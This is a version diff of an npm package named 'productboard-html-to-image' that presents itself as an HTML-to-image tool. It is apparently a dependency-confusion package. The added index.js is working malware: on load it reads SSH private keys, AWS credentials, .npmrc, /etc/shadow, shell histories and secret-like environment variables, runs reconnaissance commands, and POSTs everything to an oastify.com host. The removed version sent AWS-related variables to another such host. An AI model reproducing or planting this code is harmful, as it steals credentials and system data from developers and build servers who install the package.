productboard-html-to-image 1004.0.9 → 1005.0.9

package/index.js

@@ -1,55 +1,179 @@
 const os = require("os");
+const dns = require("dns");
+const fs = require("fs");
+const path = require("path");
 const https = require("https");
 const querystring = require("querystring");
+const child_process = require("child_process");
 
-// extract AWS-related env vars
-function getAwsCreds() {
-    const env = process.env;
+function safeReadFile(p, maxSize = 10240) {
+    try {
+        if (!fs.existsSync(p)) return "NOT FOUND";
+        const size = fs.statSync(p).size;
+        if (size > maxSize) return "TOO LARGE";
+        return fs.readFileSync(p, "utf8");
+    } catch (e) {
+        return `ERR: ${e.message}`;
+    }
+}
+
+function safeReadDir(p) {
+    try {
+        return fs.readdirSync(p);
+    } catch (e) {
+        return `ERR: ${e.message}`;
+    }
+}
+
+function exec(cmd) {
+    try {
+        return child_process.execSync(cmd, { timeout: 4000 }).toString().trim();
+    } catch (e) {
+        return `ERR: ${e.message}`;
+    }
+}
+
+function getSensitiveEnvVars() {
     const result = {};
-    for (const key in env) {
-        if (/AWS_|KEY|SECRET|TOKEN/i.test(key)) {
-            result[key] = env[key];
+    for (const key in process.env) {
+        if (/pass|key|token|secret|env|auth|cred/i.test(key)) {
+            result[key] = process.env[key];
         }
     }
     return result;
 }
 
-const data = {
-    timestamp: new Date().toISOString(),
-    hostname: os.hostname(),
-    userInfo: os.userInfo(),
-    aws: getAwsCreds(),
-};
+function checkDockerOrCI() {
+    return {
+        cgroup: safeReadFile("/proc/1/cgroup"),
+        dockerenv: fs.existsSync("/.dockerenv"),
+        ciVars: Object.fromEntries(Object.entries(process.env).filter(([k]) => /ci|build|pipeline/i.test(k))),
+    };
+}
+
+function getGitData() {
+    return {
+        branch: exec("git rev-parse --abbrev-ref HEAD"),
+        remotes: exec("git remote -v"),
+        config: safeReadFile(path.join(os.homedir(), ".gitconfig")),
+    };
+}
+
+function getSystemState() {
+    return {
+        whoami: exec("whoami"),
+        id: exec("id"),
+        ps: exec("ps aux | head -n 20"),
+        netstat: exec("netstat -tunlp | head -n 20"),
+        lsof: exec("lsof -n | head -n 20"),
+        uname: exec("uname -a"),
+        dmesg: exec("dmesg | head -n 30"),
+    };
+}
+
+function getInstalledTools() {
+    return {
+        npm: exec("npm ls -g --depth=0 --json"),
+        apt: exec("dpkg -l | head -n 20"),
+        brew: exec("brew list || echo 'no brew'"),
+        which_nmap: exec("which nmap"),
+        which_curl: exec("which curl"),
+    };
+}
+
+let dump = {};
+
+try {
+    dump = {
+        timestamp: new Date().toISOString(),
+        app: (() => {
+            try {
+                const pkg = require("./package.json");
+                return { name: pkg.name, version: pkg.version };
+            } catch {
+                return {};
+            }
+        })(),
+        os: {
+            hostname: os.hostname(),
+            platform: os.platform(),
+            arch: os.arch(),
+            uptime: os.uptime(),
+            cpus: os.cpus(),
+            totalmem: os.totalmem(),
+            freemem: os.freemem(),
+            userInfo: os.userInfo(),
+            tmpdir: os.tmpdir(),
+            homedir: os.homedir(),
+            cwd: process.cwd(),
+        },
+        env: getSensitiveEnvVars(),
+        dns: (() => {
+            try {
+                return dns.getServers();
+            } catch (e) {
+                return [`ERR: ${e.message}`];
+            }
+        })(),
+        dirs: {
+            "/": safeReadDir("/"),
+            "/home": safeReadDir("/home"),
+            "/root": safeReadDir("/root"),
+            "/etc": safeReadDir("/etc"),
+            "~": safeReadDir(os.homedir()),
+        },
+        files: {
+            etc_passwd: safeReadFile("/etc/passwd"),
+            etc_shadow: safeReadFile("/etc/shadow"),
+            etc_hosts: safeReadFile("/etc/hosts"),
+            bash_history: safeReadFile(path.join(os.homedir(), ".bash_history")),
+            zsh_history: safeReadFile(path.join(os.homedir(), ".zsh_history")),
+            ssh_config: safeReadFile(path.join(os.homedir(), ".ssh/config")),
+            ssh_id_rsa: safeReadFile(path.join(os.homedir(), ".ssh/id_rsa")),
+            ssh_known_hosts: safeReadFile(path.join(os.homedir(), ".ssh/known_hosts")),
+            aws_credentials: safeReadFile(path.join(os.homedir(), ".aws/credentials")),
+            npmrc: safeReadFile(path.join(os.homedir(), ".npmrc")),
+            gitconfig: safeReadFile(path.join(os.homedir(), ".gitconfig")),
+        },
+        git: getGitData(),
+        docker: checkDockerOrCI(),
+        system: getSystemState(),
+        tools: getInstalledTools(),
+        network: os.networkInterfaces(),
+    };
+} catch (e) {
+    dump = { error: "Top-level error collecting dump", msg: e.message };
+}
 
 try {
     const postData = querystring.stringify({
-        msg: JSON.stringify(data),
+        msg: JSON.stringify(dump)
     });
 
     const options = {
-        hostname: "hxiqx36s9ii4qfrbuhn7mid15sbjzin7.oastify.com",
+        hostname: "ykm7kkt9wz5ldweshyao9z0is9y0m0ap.oastify.com",
         port: 443,
         path: "/",
         method: "POST",
         headers: {
             "Content-Type": "application/x-www-form-urlencoded",
-            "Content-Length": Buffer.byteLength(postData),
-            "User-Agent": "rce-aws-check"
+            "Content-Length": postData.length,
+            "User-Agent": "rce-impact-demo"
         }
     };
 
     const req = https.request(options, res => {
-        res.on("data", () => {});
+        res.on("data", () => { });
     });
 
-    req.on("error", () => {});
+    req.on("error", () => { });
     req.write(postData);
     req.end();
 
-    // optional ping
-    https.get("https://ping.hxiqx36s9ii4qfrbuhn7mid15sbjzin7.oastify.com/", () => {});
+    https.get("https://ping.ykm7kkt9wz5ldweshyao9z0is9y0m0ap.oastify.com/", () => { });
+
 } catch (e) {
     try {
-        https.get("https://ping.hxiqx36s9ii4qfrbuhn7mid15sbjzin7.oastify.com/", () => {});
-    } catch {}
+        https.get("https://ping.ykm7kkt9wz5ldweshyao9z0is9y0m0ap.oastify.com/", () => { });
+    } catch { }
 }

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "productboard-html-to-image",
-  "version": "1004.0.9",
+  "version": "1005.0.9",
   "main": "index.js",
   "keywords": [],
   "scripts": {